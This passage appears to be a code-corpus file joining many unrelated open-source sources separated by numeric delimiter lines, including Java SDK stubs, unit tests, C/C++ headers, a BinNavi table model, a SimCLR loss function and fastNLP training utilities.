public java.util.concurrent.Future<DisassociateFileSystemAliasesResult> disassociateFileSystemAliasesAsync(DisassociateFileSystemAliasesRequest request) {
return disassociateFileSystemAliasesAsync(request, null);
}
@Override
public java.util.concurrent.Future<DisassociateFileSystemAliasesResult> disassociateFileSystemAliasesAsync(DisassociateFileSystemAliasesRequest request,
com.amazonaws.handlers.AsyncHandler<DisassociateFileSystemAliasesRequest, DisassociateFileSystemAliasesResult> asyncHandler) {
throw new java.lang.UnsupportedOperationException();
}
@Override
public java.util.concurrent.Future<ListTagsForResourceResult> listTagsForResourceAsync(ListTagsForResourceRequest request) {
return listTagsForResourceAsync(request, null);
}
@Override
public java.util.concurrent.Future<ListTagsForResourceResult> listTagsForResourceAsync(ListTagsForResourceRequest request,
com.amazonaws.handlers.AsyncHandler<ListTagsForResourceRequest, ListTagsForResourceResult> asyncHandler) {
throw new java.lang.UnsupportedOperationException();
}
@Override
public java.util.concurrent.Future<TagResourceResult> tagResourceAsync(TagResourceRequest request) {
return tagResourceAsync(request, null);
}
@Override
public java.util.concurrent.Future<TagResourceResult> tagResourceAsync(TagResourceRequest request,
com.amazonaws.handlers.AsyncHandler<TagResourceRequest, TagResourceResult> asyncHandler) {
throw new java.lang.UnsupportedOperationException();
}
@Override
public java.util.concurrent.Future<UntagResourceResult> untagResourceAsync(UntagResourceRequest request) {
return untagResourceAsync(request, null);
}
@Override
public java.util.concurrent.Future<UntagResourceResult> untagResourceAsync(UntagResourceRequest request,
com.amazonaws.handlers.AsyncHandler<UntagResourceRequest, UntagResourceResult> asyncHandler) {
throw new java.lang.UnsupportedOperationException();
}
@Override
public java.util.concurrent.Future<UpdateFileSystemResult> updateFileSystemAsync(UpdateFileSystemRequest request) {
return updateFileSystemAsync(request, null);
}
@Override
public java.util.concurrent.Future<UpdateFileSystemResult> updateFileSystemAsync(UpdateFileSystemRequest request,
com.amazonaws.handlers.AsyncHandler<UpdateFileSystemRequest, UpdateFileSystemResult> asyncHandler) {
throw new java.lang.UnsupportedOperationException();
}
@Override
public java.util.concurrent.Future<UpdateStorageVirtualMachineResult> updateStorageVirtualMachineAsync(UpdateStorageVirtualMachineRequest request) {
return updateStorageVirtualMachineAsync(request, null);
}
@Override
public java.util.concurrent.Future<UpdateStorageVirtualMachineResult> updateStorageVirtualMachineAsync(UpdateStorageVirtualMachineRequest request,
com.amazonaws.handlers.AsyncHandler<UpdateStorageVirtualMachineRequest, UpdateStorageVirtualMachineResult> asyncHandler) {
throw new java.lang.UnsupportedOperationException();
}
@Override
public java.util.concurrent.Future<UpdateVolumeResult> updateVolumeAsync(UpdateVolumeRequest request) {
return updateVolumeAsync(request, null);
}
@Override
public java.util.concurrent.Future<UpdateVolumeResult> updateVolumeAsync(UpdateVolumeRequest request,
com.amazonaws.handlers.AsyncHandler<UpdateVolumeRequest, UpdateVolumeResult> asyncHandler) {
throw new java.lang.UnsupportedOperationException();
}
}
| 4,836 |
1,041 | package org.querytest;
import io.ebean.DB;
import org.example.domain.Customer;
import org.example.domain.Order;
import org.example.domain.OrderDetail;
import org.example.domain.Product;
import org.junit.jupiter.api.Test;
import java.util.List;
import static org.assertj.core.api.Assertions.assertThat;
public class FindNative_withSchema {
@Test
public void test_rootLevelUsesSchema() {
Product p = new Product();
p.setName("prod1");
p.setSku("p1");
p.save();
String sql = "select * from foo.o_product p where p.sku = ?";
Product product = DB.findNative(Product.class, sql)
.setParameter("p1")
.findOne();
assertThat(product).isNotNull();
assertThat(product.getName()).isEqualTo("prod1");
}
@Test
public void test_joinToSchema() {
Order order = setupData();
String sql = "select l.*, p.* " +
" from o_order_detail l " +
" join foo.o_product p on p.id = l.product_id " +
" where l.order_id = ?";
List<OrderDetail> lines = DB.findNative(OrderDetail.class, sql)
.setParameter(order.getId())
.findList();
assertThat(lines).hasSize(1);
OrderDetail line = lines.get(0);
Product product = line.getProduct();
// check normal bean population
assertThat(line.getOrderQty()).isEqualTo(10);
assertThat(line.getOrder().getId()).isEqualTo(order.getId());
// check associated bean with schema is populated
assertThat(product).isNotNull();
assertThat(product.getName()).isEqualTo("prod2");
}
private Order setupData() {
Product p = new Product();
p.setName("prod2");
p.setSku("p2");
p.save();
Customer customer = new Customer();
customer.setName("junk");
customer.save();
Order order = new Order();
order.setCustomer(customer);
OrderDetail line = new OrderDetail(p, 10, 10.0);
order.getDetails().add(line);
order.save();
return order;
}
}
| 738 |
325 | //
// HJTabViewControllerPlugin_Base.h
// HJTabViewControllerDemo
//
// Created by haijiao on 2017/3/14.
// Copyright © 2017年 olinone. All rights reserved.
//
#import <UIKit/UIKit.h>
#import <Foundation/Foundation.h>
@class HJTabViewController;
/*
Subclasses can implement as necessary. The default is a nop.
*/
@protocol HJTabViewControllerPlugin <NSObject>
- (void)scrollViewVerticalScroll:(CGFloat)contentPercentY;
- (void)scrollViewHorizontalScroll:(CGFloat)contentOffsetX;
- (void)scrollViewWillScrollFromIndex:(NSInteger)index;
- (void)scrollViewDidScrollToIndex:(NSInteger)index;
@end
//_______________________________________________________________________________________________________________
@interface HJTabViewControllerPlugin_Base : NSObject <HJTabViewControllerPlugin>
@property (nonatomic, assign) HJTabViewController *tabViewController;
// Called only once when enable. Default does nothing
- (void)initPlugin;
// Called when tabViewController load. Default does nothing
- (void)loadPlugin;
// Called before tabViewController reload. Default does nothing
- (void)removePlugin;
@end
| 325 |
370 | /** @file compactor.h
* @brief Compact a database, or merge and compact several.
*/
/* Copyright (C) 2003,2004,2005,2006,2007,2008,2009,2010,2011,2013,2014,2015,2018 <NAME>
* Copyright (C) 2008 Lemur Consulting Ltd
*
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU General Public License as
* published by the Free Software Foundation; either version 2 of the
* License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301
* USA
*/
#ifndef XAPIAN_INCLUDED_COMPACTOR_H
#define XAPIAN_INCLUDED_COMPACTOR_H
#if !defined XAPIAN_IN_XAPIAN_H && !defined XAPIAN_LIB_BUILD
# error "Never use <xapian/compactor.h> directly; include <xapian.h> instead."
#endif
#include "xapian/constants.h"
#include "xapian/visibility.h"
#include <string>
namespace Xapian {
class Database;
/** Compact a database, or merge and compact several.
*/
class XAPIAN_VISIBILITY_DEFAULT Compactor {
public:
/** Compaction level. */
typedef enum {
/** Don't split items unnecessarily. */
STANDARD = 0,
/** Split items whenever it saves space (the default). */
FULL = 1,
/** Allow oversize items to save more space (not recommended if you
* ever plan to update the compacted database). */
FULLER = 2
} compaction_level;
Compactor() {}
virtual ~Compactor();
/** Update progress.
*
* Subclass this method if you want to get progress updates during
* compaction. This is called for each table first with empty status,
* And then one or more times with non-empty status.
*
* The default implementation does nothing.
*
* @param table The table currently being compacted.
* @param status A status message.
*/
virtual void
set_status(const std::string & table, const std::string & status);
/** Resolve multiple user metadata entries with the same key.
*
* When merging, if the same user metadata key is set in more than one
* input, then this method is called to allow this to be resolving in
* an appropriate way.
*
* The default implementation just returns tags[0].
*
* For multipass this will currently get called multiple times for the
* same key if there are duplicates to resolve in each pass, but this
* may change in the future.
*
* Since 1.4.6, an implementation of this method can return an empty
* string to indicate that the appropriate result is to not set a value
* for this user metadata key in the output database. In older versions,
* you should not return an empty string.
*
* @param key The metadata key with duplicate entries.
* @param num_tags How many tags there are.
* @param tags An array of num_tags strings containing the tags to
* merge.
*/
virtual std::string
resolve_duplicate_metadata(const std::string & key,
size_t num_tags, const std::string tags[]);
};
}
#endif /* XAPIAN_INCLUDED_COMPACTOR_H */
| 1,117 |
11,719 | <reponame>asm-jaime/facerec<gh_stars>1000+
from dlib import find_max_global, find_min_global
import dlib
from pytest import raises
from math import sin,cos,pi,exp,sqrt,pow
def test_global_optimization_nargs():
w0 = find_max_global(lambda *args: sum(args), [0, 0, 0], [1, 1, 1], 10)
w1 = find_min_global(lambda *args: sum(args), [0, 0, 0], [1, 1, 1], 10)
assert w0 == ([1, 1, 1], 3)
assert w1 == ([0, 0, 0], 0)
w2 = find_max_global(lambda a, b, c, *args: a + b + c - sum(args), [0, 0, 0], [1, 1, 1], 10)
w3 = find_min_global(lambda a, b, c, *args: a + b + c - sum(args), [0, 0, 0], [1, 1, 1], 10)
assert w2 == ([1, 1, 1], 3)
assert w3 == ([0, 0, 0], 0)
with raises(Exception):
find_max_global(lambda a, b: 0, [0, 0, 0], [1, 1, 1], 10)
with raises(Exception):
find_min_global(lambda a, b: 0, [0, 0, 0], [1, 1, 1], 10)
with raises(Exception):
find_max_global(lambda a, b, c, d, *args: 0, [0, 0, 0], [1, 1, 1], 10)
with raises(Exception):
find_min_global(lambda a, b, c, d, *args: 0, [0, 0, 0], [1, 1, 1], 10)
def F(a,b):
return -pow(a-2,2.0) - pow(b-4,2.0);
def G(x):
return 2-pow(x-5,2.0);
def test_global_function_search():
spec_F = dlib.function_spec([-10,-10], [10,10])
spec_G = dlib.function_spec([-2], [6])
opt = dlib.global_function_search([spec_F, spec_G])
for i in range(15):
next = opt.get_next_x()
#print("next x is for function {} and has coordinates {}".format(next.function_idx, next.x))
if (next.function_idx == 0):
a = next.x[0]
b = next.x[1]
next.set(F(a,b))
else:
x = next.x[0]
next.set(G(x))
[x,y,function_idx] = opt.get_best_function_eval()
#print("\nbest function was {}, with y of {}, and x of {}".format(function_idx,y,x))
assert(abs(y-2) < 1e-7)
assert(abs(x[0]-5) < 1e-7)
assert(function_idx==1)
def holder_table(x0,x1):
return -abs(sin(x0)*cos(x1)*exp(abs(1-sqrt(x0*x0+x1*x1)/pi)))
def test_on_holder_table():
x,y = find_min_global(holder_table,
[-10,-10],
[10,10],
200)
assert (y - -19.2085025679) < 1e-7
| 1,185 |
3,083 | // Copyright 2011-2016 Google LLC
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
package com.google.security.zynamics.binnavi.Gui.Debug.ModulesPanel;
import java.util.ArrayList;
import java.util.Comparator;
import java.util.List;
import java.util.concurrent.Semaphore;
import com.google.security.zynamics.binnavi.Gui.FilterPanel.CFilteredTableModel;
import com.google.security.zynamics.binnavi.Gui.FilterPanel.IFilter;
import com.google.security.zynamics.binnavi.debug.models.processmanager.MemoryModule;
import com.google.security.zynamics.zylib.general.Pair;
import com.google.security.zynamics.zylib.general.comparators.HexStringComparator;
import com.google.security.zynamics.zylib.general.comparators.LongComparator;
import com.google.security.zynamics.zylib.types.lists.FilledList;
import com.google.security.zynamics.zylib.types.lists.IFilledList;
/**
* Table model of the table where the modules in the address space of a debugged target process are
* shown.
*/
public final class CModulesTableModel extends CFilteredTableModel<MemoryModule> {
/**
* Used for serialization.
*/
private static final long serialVersionUID = 1926202151838011045L;
/**
* Index of the column where the module names are shown.
*/
private static final int NAME_COLUMN = 0;
/**
* Index of the column where the module base addresses are shown.
*/
private static final int ADDRESS_COLUMN = 1;
/**
* Index of the column where the module sizes are shown.
*/
private static final int SIZE_COLUMN = 2;
/**
* Titles of the columns of this model.
*/
private static final String[] COLUMN_NAMES = {"Name", "Base Address", "Size"};
/**
* The modules shown by the model.
*/
private final IFilledList<MemoryModule> m_modules = new FilledList<MemoryModule>();
/**
* The displayed modules are cached for performance reasons.
*/
private List<MemoryModule> m_cachedValues = null;
/**
* Makes sure that only one thread has access to the cached values list at any given time.
*/
private final Semaphore m_cachedValuesSemaphore = new Semaphore(1);
/**
* Flag that days whether full paths to modules or only module names should be shown.
*/
private boolean m_useFullPaths;
/**
* Adds a module to be shown.
*
* @param module The module to be shown.
*/
public void addModule(final MemoryModule module) {
m_cachedValuesSemaphore.acquireUninterruptibly();
m_modules.add(module);
m_cachedValues = null;
m_cachedValuesSemaphore.release();
fireTableDataChanged();
}
@Override
public void delete() {
// Nothing to dispose
}
@Override
public int getColumnCount() {
return COLUMN_NAMES.length;
}
@Override
public String getColumnName(final int column) {
return COLUMN_NAMES[column];
}
/**
* Returns the currently shown modules.
*
* @return The currently shown modules.
*/
public IFilledList<MemoryModule> getModules() {
m_cachedValuesSemaphore.acquireUninterruptibly();
if (m_cachedValues == null) {
final IFilter<MemoryModule> filter = getFilter();
if (filter == null) {
m_cachedValues = m_modules;
} else {
m_cachedValues = filter.get(m_modules);
}
}
final FilledList<MemoryModule> returnValue = new FilledList<MemoryModule>(m_cachedValues);
m_cachedValuesSemaphore.release();
return returnValue;
}
@Override
public int getRowCount() {
return getModules().size();
}
@Override
public List<Pair<Integer, Comparator<?>>> getSorters() {
final List<Pair<Integer, Comparator<?>>> sorters =
new ArrayList<Pair<Integer, Comparator<?>>>();
sorters.add(new Pair<Integer, Comparator<?>>(ADDRESS_COLUMN, new HexStringComparator()));
sorters.add(new Pair<Integer, Comparator<?>>(SIZE_COLUMN, new LongComparator()));
return sorters;
}
@Override
public Object getValueAt(final int rowIndex, final int columnIndex) {
switch (columnIndex) {
case NAME_COLUMN:
return m_useFullPaths ? getModules().get(rowIndex).getPath() : getModules().get(rowIndex)
.getName();
case ADDRESS_COLUMN:
return getModules().get(rowIndex).getBaseAddress().getAddress().toHexString();
case SIZE_COLUMN:
return Long.valueOf(getModules().get(rowIndex).getSize());
default:
return null;
}
}
/**
* Removes a module from table model.
*
* @param module The module to remove.
*/
public void removeModule(final MemoryModule module) {
m_cachedValuesSemaphore.acquireUninterruptibly();
m_modules.remove(module);
m_cachedValues = null;
m_cachedValuesSemaphore.release();
fireTableDataChanged();
}
/**
* Resets the table model.
*/
public void reset() {
m_cachedValuesSemaphore.acquireUninterruptibly();
m_modules.clear();
m_cachedValues = null;
m_cachedValuesSemaphore.release();
fireTableDataChanged();
}
@Override
public void setFilter(final IFilter<MemoryModule> filter) {
m_cachedValuesSemaphore.acquireUninterruptibly();
m_cachedValues = null;
m_cachedValuesSemaphore.release();
super.setFilter(filter);
}
/**
* Controls whether the modules column should contain full module paths or only module names
*
* @param useFullPaths The boolean flag to control the path setting
*/
public void setUseFullModulePaths(final boolean useFullPaths) {
m_useFullPaths = useFullPaths;
m_cachedValuesSemaphore.acquireUninterruptibly();
m_cachedValues = null;
m_cachedValuesSemaphore.release();
fireTableDataChanged();
}
}
| 2,082 |
1,425 | /*
* Licensed to the Apache Software Foundation (ASF) under one
* or more contributor license agreements. See the NOTICE file
* distributed with this work for additional information
* regarding copyright ownership. The ASF licenses this file
* to you under the Apache License, Version 2.0 (the
* "License"); you may not use this file except in compliance
* with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing,
* software distributed under the License is distributed on an
* "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
* KIND, either express or implied. See the License for the
* specific language governing permissions and limitations
* under the License.
*/
package org.apache.tinkerpop.gremlin.driver.message;
import java.util.Map;
/**
* @author <NAME> (http://stephen.genoprime.com)
*/
public final class ResponseStatus {
private final ResponseStatusCode code;
private final String message;
private final Map<String, Object> attributes;
public ResponseStatus(final ResponseStatusCode code, final String message, final Map<String, Object> attributes) {
this.code = code;
this.message = message;
this.attributes = attributes;
}
/**
* Gets the {@link ResponseStatusCode} that describes how the server responded to the request.
*/
public ResponseStatusCode getCode() {
return code;
}
/**
* Gets the message associated with the code.
*/
public String getMessage() {
return message;
}
/**
* Gets the meta-data related to the response. If meta-data is returned it is to be considered specific to the
* "op" that is executed. Not all "op" implementations will return meta-data.
*/
public Map<String, Object> getAttributes() {
return attributes;
}
@Override
public String toString() {
return "ResponseStatus{" +
"code=" + code +
", message='" + message + '\'' +
", attributes=" + attributes +
'}';
}
}
| 703 |
2,094 | ////////////////////////////////////////////////////////////////////////////////////////////////////
//
// Project: Embedded Learning Library (ELL)
// File: CompilableCodeNode_test.cpp (model)
// Authors: <NAME>
//
////////////////////////////////////////////////////////////////////////////////////////////////////
#include "CompilableCodeNode_test.h"
#include <common/include/LoadModel.h>
#include <model/include/CompilableCodeNode.h>
#include <model/include/IRMapCompiler.h>
#include <model/include/InputNode.h>
#include <model/include/Map.h>
#include <model/include/MapCompilerOptions.h>
#include <model/include/Model.h>
#include <model/include/ModelTransformer.h>
#include <model_testing/include/ModelTestUtilities.h>
#include <nodes/include/ConstantNode.h>
#include <testing/include/testing.h>
#include <utilities/include/Logger.h>
#include <utilities/include/StringUtil.h>
#include <value/include/FunctionDeclaration.h>
#include <value/include/Scalar.h>
#include <value/include/Value.h>
#include <value/include/Vector.h>
#include <vector>
namespace ell
{
using namespace common;
using namespace model;
namespace detail
{
using namespace value;
class DotProductCodeNode : public CompilableCodeNode
{
public:
const InputPortBase& input1 = _input1;
const InputPortBase& input2 = _input2;
const OutputPortBase& output = _output;
DotProductCodeNode() :
model::CompilableCodeNode("DotProduct", { &_input1, &_input2 }, { &_output }),
_input1(this, {}, defaultInput1PortName),
_input2(this, {}, defaultInput2PortName),
_output(this, defaultOutputPortName, ell::model::Port::PortType::real, utilities::ScalarLayout)
{
}
DotProductCodeNode(const OutputPortBase& input1, const OutputPortBase& input2) :
model::CompilableCodeNode("DotProduct", { &_input1, &_input2 }, { &_output }),
_input1(this, input1, defaultInput1PortName),
_input2(this, input2, defaultInput2PortName),
_output(this, defaultOutputPortName, _input1.GetType(), utilities::ScalarLayout)
{
assert(_input1.GetType() == _input2.GetType());
}
void Define(FunctionDeclaration& fn) override
{
(void)fn.Define([](Vector v1, Vector v2, Scalar s) {
s = Dot(v1, v2);
});
}
static std::string GetTypeName() { return "DotProductCodeNode"; }
protected:
void WriteToArchive(utilities::Archiver& archiver) const override
{
Node::WriteToArchive(archiver);
archiver[defaultInput1PortName] << _input1;
archiver[defaultInput2PortName] << _input2;
}
void ReadFromArchive(utilities::Unarchiver& archiver) override
{
Node::ReadFromArchive(archiver);
archiver[defaultInput1PortName] >> _input1;
archiver[defaultInput2PortName] >> _input2;
}
private:
void Copy(model::ModelTransformer& transformer) const override
{
const auto& newInput1 = transformer.GetCorrespondingInputs(_input1);
const auto& newInput2 = transformer.GetCorrespondingInputs(_input2);
auto newNode = transformer.AddNode<DotProductCodeNode>(newInput1, newInput2);
transformer.MapNodeOutput(output, newNode->output);
}
InputPortBase _input1;
InputPortBase _input2;
OutputPortBase _output;
};
} // namespace detail
using ::ell::detail::DotProductCodeNode;
void CompilableCodeNode_test1()
{
model::Model model;
auto inputNode = model.AddNode<model::InputNode<double>>(4);
auto constantNode = model.AddNode<nodes::ConstantNode<double>>(std::vector<double>{ 5.0, 5.0, 7.0, 3.0 });
auto dotNode = model.AddNode<DotProductCodeNode>(inputNode->output, constantNode->output);
auto map = model::Map(model, { { "input", inputNode } }, { { "output", dotNode->output } });
// make sure we can serialize it.
RegisterCustomTypeFactory([](utilities::SerializationContext& context) {
context.GetTypeFactory().AddType<model::Node, DotProductCodeNode>();
});
// compare output
std::vector<std::vector<double>> signal = {
{ 1, 2, 3, 7 },
{ 4, 5, 6, 7 },
{ 7, 8, 9, 7 },
{ 3, 4, 5, 7 },
{ 2, 3, 2, 7 },
{ 1, 5, 3, 7 },
{ 1, 2, 3, 7 },
{ 4, 5, 6, 7 },
{ 7, 8, 9, 7 },
{ 7, 4, 2, 7 },
{ 5, 2, 1, 7 }
};
TestWithSerialization(map, "DotProductCodeNode", [&](model::Map& map, int iteration) {
model::IRMapCompiler compiler({}, {});
auto compiledMap = compiler.Compile(map);
VerifyCompiledOutput(map, compiledMap, signal, utilities::FormatString("DotProductCodeNode iteration %d", iteration));
});
RegisterCustomTypeFactory(nullptr);
}
} // namespace ell
| 1,986 |
411 | import java.io.FileNotFoundException;
import java.io.PrintStream;
class Foo {
public static char[] value = { ' ', ' ', 'a' , ' ' };
}
class TestStr {
public static String s = "Hello world";
public static int main (int x) {
s = "foo";
return s.length();
}
public static int append (int x) {
// String y = s + s; // cannot translate string + , requires invokedynamic
return s.length();
}
// calling a string method
public static int trim (int x) {
String y = " A ";
return y.trim().length();
}
public static int pr (int x) throws FileNotFoundException {
String y = "A";
System.out.println(y);
return y.length();
}
}
| 260 |
1,174 | package com.github.devnied.emvnfccard.utils.reflect;
public class ReflectionTestUtils {
public static <T> T invokeMethod(Class<?> targetClass, String name, Object... args) {
return invokeMethod(null, targetClass, name, args);
}
public static <T> T invokeMethod( Object targetObject, String name,
Object... args) {
return invokeMethod(targetObject, null, name, args);
}
/**
* Invoke the method with the given {@code name} on the provided
* {@code targetObject}/{@code targetClass} with the supplied arguments.
* <p>This method traverses the class hierarchy in search of the desired
* method. In addition, an attempt will be made to make non-{@code public}
* methods <em>accessible</em>, thus allowing one to invoke {@code protected},
* {@code private}, and <em>package-private</em> methods.
* @param targetObject the target object on which to invoke the method; may
* be {@code null} if the method is static
* @param targetClass the target class on which to invoke the method; may
* be {@code null} if the method is an instance method
* @param name the name of the method to invoke
* @param args the arguments to provide to the method
* @return the invocation result, if any
*/
@SuppressWarnings("unchecked")
public static <T> T invokeMethod( Object targetObject, Class<?> targetClass, String name,
Object... args) {
try {
MethodInvoker methodInvoker = new MethodInvoker();
methodInvoker.setTargetObject(targetObject);
if (targetClass != null) {
methodInvoker.setTargetClass(targetClass);
} else {
methodInvoker.setTargetClass(targetObject.getClass());
}
methodInvoker.setTargetMethod(name);
methodInvoker.setArguments(args);
methodInvoker.prepare();
return (T) methodInvoker.invoke();
}
catch (Exception ex) {
throw new IllegalStateException("Should never get here");
}
}
}
| 837 |
2,406 | <filename>inference-engine/tests/functional/plugin/conformance/test_runner/conformance_infra/include/conformance.hpp<gh_stars>1000+
// Copyright (C) 2018-2021 Intel Corporation
// SPDX-License-Identifier: Apache-2.0
//
namespace ConformanceTests {
extern const char* targetDevice;
extern const char* targetPluginName;
extern std::vector<std::string> IRFolderPaths;
extern std::vector<std::string> disabledTests;
} // namespace ConformanceTests
| 140 |
1,056 | <reponame>timfel/netbeans
package test9;
public class CCTest9bii {
public static void main(String[] args) {
CCTest9a e; //Check that CCTest9a is in the CC
}
}
| 97 |
882 | package water.api;
import water.Boot;
public class StaticHTMLPage extends HTMLOnlyRequest {
private final String _html;
private final String _href;
public StaticHTMLPage(String file, String href) {
_href = href;
_html = Boot._init.loadContent(file);
}
@Override protected String build(Response response) {
return _html;
}
@Override public String href() {
return _href;
}
}
| 128 |
2,693 | import fastNLP as FN
import argparse
import os
import random
import numpy
import torch
def get_argparser():
parser = argparse.ArgumentParser()
parser.add_argument('--lr', type=float, required=True)
parser.add_argument('--w_decay', type=float, required=True)
parser.add_argument('--lr_decay', type=float, required=True)
parser.add_argument('--bsz', type=int, required=True)
parser.add_argument('--ep', type=int, required=True)
parser.add_argument('--drop', type=float, required=True)
parser.add_argument('--gpu', type=str, required=True)
parser.add_argument('--log', type=str, default=None)
return parser
def add_model_args(parser):
parser.add_argument('--nhead', type=int, default=6)
parser.add_argument('--hdim', type=int, default=50)
parser.add_argument('--hidden', type=int, default=300)
return parser
def set_gpu(gpu_str):
os.environ["CUDA_DEVICE_ORDER"] = "PCI_BUS_ID"
os.environ['CUDA_VISIBLE_DEVICES'] = gpu_str
def set_rng_seeds(seed=None):
if seed is None:
seed = numpy.random.randint(0, 65536)
random.seed(seed)
numpy.random.seed(seed)
torch.random.manual_seed(seed)
torch.cuda.manual_seed_all(seed)
# print('RNG_SEED {}'.format(seed))
return seed
class TensorboardCallback(FN.Callback):
"""
接受以下一个或多个字符串作为参数:
- "model"
- "loss"
- "metric"
"""
def __init__(self, *options):
super(TensorboardCallback, self).__init__()
args = {"model", "loss", "metric"}
for opt in options:
if opt not in args:
raise ValueError(
"Unrecognized argument {}. Expect one of {}".format(opt, args))
self.options = options
self._summary_writer = None
self.graph_added = False
def on_train_begin(self):
save_dir = self.trainer.save_path
if save_dir is None:
path = os.path.join(
"./", 'tensorboard_logs_{}'.format(self.trainer.start_time))
else:
path = os.path.join(
save_dir, 'tensorboard_logs_{}'.format(self.trainer.start_time))
self._summary_writer = SummaryWriter(path)
def on_batch_begin(self, batch_x, batch_y, indices):
if "model" in self.options and self.graph_added is False:
# tesorboardX 这里有大bug,暂时没法画模型图
# from fastNLP.core.utils import _build_args
# inputs = _build_args(self.trainer.model, **batch_x)
# args = tuple([value for value in inputs.values()])
# args = args[0] if len(args) == 1 else args
# self._summary_writer.add_graph(self.trainer.model, torch.zeros(32, 2))
self.graph_added = True
def on_backward_begin(self, loss):
if "loss" in self.options:
self._summary_writer.add_scalar(
"loss", loss.item(), global_step=self.trainer.step)
if "model" in self.options:
for name, param in self.trainer.model.named_parameters():
if param.requires_grad:
self._summary_writer.add_scalar(
name + "_mean", param.mean(), global_step=self.trainer.step)
# self._summary_writer.add_scalar(name + "_std", param.std(), global_step=self.trainer.step)
self._summary_writer.add_scalar(name + "_grad_mean", param.grad.mean(),
global_step=self.trainer.step)
def on_valid_end(self, eval_result, metric_key):
if "metric" in self.options:
for name, metric in eval_result.items():
for metric_key, metric_val in metric.items():
self._summary_writer.add_scalar("valid_{}_{}".format(name, metric_key), metric_val,
global_step=self.trainer.step)
def on_train_end(self):
self._summary_writer.close()
del self._summary_writer
def on_exception(self, exception):
if hasattr(self, "_summary_writer"):
self._summary_writer.close()
del self._summary_writer
| 1,966 |
2,890 | package com.github.ltsopensource.spring.quartz;
import com.github.ltsopensource.core.domain.Action;
import com.github.ltsopensource.core.domain.Job;
import com.github.ltsopensource.tasktracker.Result;
import com.github.ltsopensource.tasktracker.runner.JobContext;
import com.github.ltsopensource.tasktracker.runner.JobRunner;
import java.util.List;
import java.util.concurrent.ConcurrentHashMap;
import java.util.concurrent.ConcurrentMap;
/**
* @author <NAME> (<EMAIL>) on 3/16/16.
*/
class QuartzJobRunnerDispatcher implements JobRunner {
private ConcurrentMap<String, QuartzJobContext> JOB_MAP = new ConcurrentHashMap<String, QuartzJobContext>();
public QuartzJobRunnerDispatcher(List<QuartzJobContext> quartzJobContexts) {
for (QuartzJobContext quartzJobContext : quartzJobContexts) {
String name = quartzJobContext.getName();
JOB_MAP.put(name, quartzJobContext);
}
}
@Override
public Result run(JobContext jobContext) throws Throwable {
Job job = jobContext.getJob();
String taskId = job.getTaskId();
QuartzJobContext quartzJobContext = JOB_MAP.get(taskId);
if (quartzJobContext == null) {
return new Result(Action.EXECUTE_FAILED, "Can't find the taskId[" + taskId + "]'s QuartzCronJob");
}
quartzJobContext.getJobExecution().execute(quartzJobContext, job);
return new Result(Action.EXECUTE_SUCCESS);
}
}
| 533 |
789 | package io.advantageous.qbit.meta.swagger;
public class Employee {
Phone phone;
String name;
int age;
long iq;
byte byteA;
Byte byteB;
byte[] byteC;
Byte[] byteD;
float floatA;
Float floatB;
double dA;
Double dB;
}
| 119 |
693 | <filename>solo/losses/simclr.py
# Copyright 2021 solo-learn development team.
# Permission is hereby granted, free of charge, to any person obtaining a copy of
# this software and associated documentation files (the "Software"), to deal in
# the Software without restriction, including without limitation the rights to use,
# copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the
# Software, and to permit persons to whom the Software is furnished to do so,
# subject to the following conditions:
# The above copyright notice and this permission notice shall be included in all copies
# or substantial portions of the Software.
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED,
# INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR
# PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE
# FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR
# OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER
# DEALINGS IN THE SOFTWARE.
import torch
import torch.nn.functional as F
from solo.utils.misc import gather, get_rank
def simclr_loss_func(
z: torch.Tensor, indexes: torch.Tensor, temperature: float = 0.1
) -> torch.Tensor:
"""Computes SimCLR's loss given batch of projected features z
from different views, a positive boolean mask of all positives and
a negative boolean mask of all negatives.
Args:
z (torch.Tensor): (N*views) x D Tensor containing projected features from the views.
indexes (torch.Tensor): unique identifiers for each crop (unsupervised)
or targets of each crop (supervised).
Return:
torch.Tensor: SimCLR loss.
"""
z = F.normalize(z, dim=-1)
gathered_z = gather(z)
sim = torch.exp(torch.einsum("if, jf -> ij", z, gathered_z) / temperature)
gathered_indexes = gather(indexes)
indexes = indexes.unsqueeze(0)
gathered_indexes = gathered_indexes.unsqueeze(0)
# positives
pos_mask = indexes.t() == gathered_indexes
pos_mask[:, z.size(0) * get_rank() :].fill_diagonal_(0)
# negatives
neg_mask = indexes.t() != gathered_indexes
pos = torch.sum(sim * pos_mask, 1)
neg = torch.sum(sim * neg_mask, 1)
loss = -(torch.mean(torch.log(pos / (pos + neg))))
return loss
| 778 |
8,273 | # Copyright 2010 <NAME> <EMAIL>
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
"""
Bus scheduling in Google CP Solver.
Problem from Taha "Introduction to Operations Research", page 58.
